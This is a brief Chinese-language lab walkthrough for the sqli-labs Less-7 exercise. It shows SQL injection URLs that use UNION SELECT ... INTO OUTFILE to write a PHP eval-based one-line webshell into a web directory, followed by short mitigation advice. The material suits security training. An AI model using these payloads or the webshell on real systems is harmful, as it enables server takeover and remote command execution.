结合PHP一句话木马
利用outfile生成文件:
利用条件
1、文件具有写的条件;
2、知道绝对路径。
以sqli-labs第七关为例
http://192.168.3.10/sqli/Less-7/?id=1;
http://192.168.124.13/sqli/Less-7/?id=-1’ union select xxx into outfile ‘绝对路径’ --+
构造写马语句:
http://192.168.124.13/sqli/Less-7/?id=-1’ union select 1,2,’<?php eval($_POST["cmd"]);?>’ into outfile ‘D:\phpStudy\PHPTutorial\WWW\sqli\Less-7\xxx.php’
需要使用\来代替目录中的\(不过好像也可以不用…)
查看一下生成的xxx.php
需要注意的是利用数据库file权限向操作系统写入文件时, 对于相同文件名的文件不能覆盖,所以如果第一次上传xxx.php,下次在上传xxx.php,就是无效命令了,也就是新的xxx.php中的内容并不会覆盖,之前的xxx.php
防范方法:
不开启写条件;
过滤用户输入;
使用PDO技术。